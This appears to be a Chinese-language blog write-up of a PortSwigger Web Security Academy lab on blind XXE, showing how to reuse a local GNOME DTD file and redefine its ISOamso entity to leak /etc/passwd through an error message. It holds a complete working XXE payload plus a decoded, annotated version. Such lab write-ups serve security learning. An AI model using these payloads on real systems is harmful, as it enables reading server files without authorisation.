某不知名博客 某不知名博客
首页
  • 《vulcat文档》
  • Web安全

    • 《BurpSuite及官方实验室》
    • 《OSWE学习历程》
  • 云原生安全

    • 《Docker命令大全》
    • 《CKS考试学习指南》
    • 《旧-Kubernetes教程》
漏洞库
  • 《渗透工具大全》
  • 《云安全》
事件库
关于
  • 分类
  • 标签
  • 归档
GitHub (opens new window)

Carsaid

安全界的小学生
首页
  • 《vulcat文档》
  • Web安全

    • 《BurpSuite及官方实验室》
    • 《OSWE学习历程》
  • 云原生安全

    • 《Docker命令大全》
    • 《CKS考试学习指南》
    • 《旧-Kubernetes教程》
漏洞库
  • 《渗透工具大全》
  • 《云安全》
事件库
关于
  • 分类
  • 标签
  • 归档
GitHub (opens new window)
  • 前言

  • 服务器端主题(翻译)

  • 客户端主题(翻译)

  • 高级主题(翻译)

  • 扩展阅读(翻译)

  • 个人学习笔记

  • 实验室做题记录

    • 实验室做题记录
    • 服务器端

      • SQL注入

      • 身份验证

      • 目录遍历

      • OS命令注入

      • 业务逻辑漏洞

      • 信息泄露

      • 访问控制

      • 文件上传漏洞

      • SSRF漏洞

      • XXE注入漏洞

        • 学徒-普通XXE-文件检索
        • 学徒-普通XXE-执行SSRF攻击
        • 从业者-盲XXE-带外交互
        • 从业者-盲XXE-XML参数实体
        • 从业者-盲XXE-外部DTD
        • 从业者-盲XXE-错误消息
        • 专家-盲XXE-本地DTD复用
          • 题目
          • 实操
        • 从业者-隐藏攻击面-XInclude攻击
        • 从业者-隐藏攻击面-文件上传中的XXE
    • 客户端

    • 高级主题

  • BurpSuite及官方实验室
  • 实验室做题记录
  • 服务器端
  • XXE注入漏洞
clincat
2023-07-18
目录

专家-盲XXE-本地DTD复用

# 实验室:通过本地DTD复用 实现XXE数据检索

# 题目

此实验室具有一个 “Check stock(库存检查)” 功能,它可以解析 XML 输入,但不会显示结果。

若要解决实验室问题,请触发包含/etc/passwd文件内容的错误消息。

你需要引用服务器上的现有 DTD 文件,并从中重新定义实体。

提示

使用 GNOME 桌面环境的系统通常有一个自带的 DTD 文件,位于/usr/share/yelp/dtd/docbookx.dtd,其中包含一个名为ISOamso的实体。

实验室-专家

通过本地DTD复用 实现XXE数据检索 >>

- name: 实验室-专家
  desc: 通过本地DTD复用 实现XXE数据检索 >>
  avatar: https://fastly.statically.io/gh/clincat/blog-imgs@main/vuepress/static/imgs/docs/burpsuite-learn/public/lab-logo.png
  link: https://portswigger.net/web-security/xxe/blind/lab-xxe-trigger-error-message-by-repurposing-local-dtd
  bgColor: '#001350'
  textColor: '#d112fe'
1
2
3
4
5
6

# 实操

点击 “ACCESS THE LAB” 进入实验室。

Not Found Image

来到首页,点击任意商品下方的 “View details” 进入详情页。

Not Found Image

在商品详情页的下方,可以看到一个库存检查功能。

启用浏览器代理,然后点击 “Check stock” 检查库存。

Not Found Image

根据题目中的提示,构造 XML 参数实体,尝试访问文件/usr/share/yelp/dtd/docbookx.dtd。

<!DOCTYPE abc [ <!ENTITY % file SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd"> %file; ]>
1

程序并没有返回任何信息。

Not Found Image

删除文件名的最后一个字符,然后再次发送数据包,返回了错误信息 “文件不存在” 。

说明文件/usr/share/yelp/dtd/docbookx.dtd是存在的,如果不存在则会返回错误信息。

Not Found Image

确认文件存在之后,构造攻击载荷,重写本地 DTD 文件中的ISOamso实体,尝试读取/etc/passwd文件。

<!DOCTYPE xyz [
<!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd">
<!ENTITY % ISOamso '
<!ENTITY &#x25; file SYSTEM "file:///etc/passwd">
<!ENTITY &#x25; eval "<!ENTITY &#x26;#x25; error SYSTEM &#x27;file:///aaabbbccc/&#x25;file;&#x27;>">
&#x25;eval;
&#x25;error;
'>
%local_dtd;
]>
1
2
3
4
5
6
7
8
9
10

程序返回了/etc/passwd文件的内容,读取成功。

Not Found Image

回到浏览器页面,实验已完成。

Not Found Image

上述 Payload 可能不太好理解,这里对其进行一次解码,以更好地理解:

  • 定义一个名为local_dtd的 XML 参数实体,它加载本地 DTD 文件的内容。
  • 重新定义名为ISOamso的 XML 参数实体,该实体先前已经在本地 DTD 文件中定义。但在此处,该实体被重新定义为恶意的攻击载荷,用于触发错误消息,并包含/etc/passwd文件的内容。
  • 使用local_dtd实体,解析外部 DTD 并覆盖ISOamso实体的定义值,这将产生预期的错误消息。
&#x25;  --解码-->  %
&#x26;  --解码-->  &
&#x27;  --解码-->  '

一次解码后的攻击载荷:

<!DOCTYPE xyz [
  <!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd">
  <!ENTITY % ISOamso '
    <!ENTITY % file SYSTEM "file:///etc/passwd">
    <!ENTITY % eval "<!ENTITY &#x25; error SYSTEM 'file:///aaabbbccc/%file;'>">
    %eval;
    %error;
  '>
%local_dtd;
]>

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
Not Found Image
编辑 (opens new window)
从业者-盲XXE-错误消息
从业者-隐藏攻击面-XInclude攻击

← 从业者-盲XXE-错误消息 从业者-隐藏攻击面-XInclude攻击→

最近更新
01
API测试笔记
04-30
02
msfvenom
03-29
03
Metasploit
03-29
更多文章>
Theme by Vdoing | Copyright © 2023-2024 Carsaid | MIT License
  • 跟随系统
  • 浅色模式
  • 深色模式
  • 阅读模式